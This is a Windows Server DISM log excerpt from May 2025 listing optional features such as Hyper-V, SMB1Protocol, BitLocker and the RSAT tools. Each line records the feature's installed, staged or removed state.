2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Printing-Client with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Printing-Client-Gui with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NetFx3ServerFeatures with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NetFx3 with CBS state 2(CbsInstallStateResolved) being mapped to dism state 2(DISM_INSTALL_STATE_REMOVED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MediaPlayback with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WindowsMediaPlayer with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Printing-XPSServices-Features with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature TFTP with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature LegacyComponents with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DirectPlay with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Windows-Identity-Foundation with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MultiPoint-Connector with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MultiPoint-Connector-Services with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MultiPoint-Tools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FailoverCluster-AdminPak with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature HardenedFabricEncryptionTask with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SimpleTCP with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SmbDirect with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Windows-Defender with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature EnhancedStorage with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Server-Manager-RSAT-File-Services with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Server-RSAT-SNMP with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WINS-Server-Tools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ADCertificateServicesManagementTools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature CertificateServicesManagementTools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature OnlineRevocationServicesManagementTools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature BitLocker-RemoteAdminTool with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature BdeAducExtTool with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NPSMMC with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RSAT-RDS-Tools-Feature with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Licensing-UI with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Licensing-Diagnosis-UI with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Windows-Deployment-Services-Admin-Pack with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DHCPServer-Tools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NetworkLoadBalancingManagementClient with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WindowsServerBackupSnapin with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NPSManagementTools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RightsManagementServicesManagementTools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Security-SPP-Vmw with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WindowsServerBackup with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature File-Services-Search-Service with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FSRM-Management with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature iSCSITargetStorageProviders with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature BITS with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature LightweightServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MultipathIo with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Printing-PrintToPDFServices-Features with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DataCenterBridging with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SNMP with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WMISnmpProvider with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WindowsStorageManagementService with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Xps-Foundation-Xps-Viewer with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SMBBW with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MSRDC-Infrastructure with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WINSRuntime with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RasCMAK with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Remote-Desktop-Services with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SessionDirectory with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SBMgr-UI with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature AppServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature VmHostAgent with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NPAS-Role with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature OEM-Appliance-OOBE with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SearchEngine-Server-Package with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature BitLocker-NetworkUnlock with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature CCFFilter with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FabricShieldedTools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FailoverCluster-AutomationServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FailoverCluster-CmdInterface with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FRS-Infrastructure with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ResumeKeyFilter with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SmbWitness with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Storage-Replica with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature iSCSITargetServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Licensing with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature BiometricFramework with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SetupAndBootEventCollection with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerManager-Core-RSAT with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerManager-Core-RSAT-Role-Tools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerManager-Core-RSAT-Feature-Tools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ShieldedVMToolsAdminPack with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Storage-Replica-AdminPack with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DNS-Server-Tools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RSAT-AD-Tools-Feature with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RSAT-ADDS-Tools-Feature with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DirectoryServices-DomainController-Tools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DirectoryServices-ADAM-Tools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Hyper-V with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Hyper-V-Offline with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Hyper-V-Online with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RSAT-Hyper-V-Tools-Feature with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Hyper-V-Management-Clients with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Hyper-V-Management-PowerShell with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature HostGuardian with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NetworkVirtualization with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Windows-GroupPolicy-ServerAdminTools-Update with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Windows-Internal-Database with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NetworkLoadBalancingFullServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature PeerDist with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature P2P-PnrpOnly with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature QWAVE with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RemoteAssistance with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature BitLocker with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Bitlocker-Utilities with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FailoverCluster-PowerShell with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServicesForNFS-ServerAndClient with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ClientForNFS-Infrastructure with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerForNFS-Infrastructure with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SMB1Protocol with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SMB1Protocol-Client with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SMB1Protocol-Server with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature TIFFIFilter with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WirelessNetworking with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Server-Drivers-General with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Server-Drivers-Printers with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Server-Shell with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
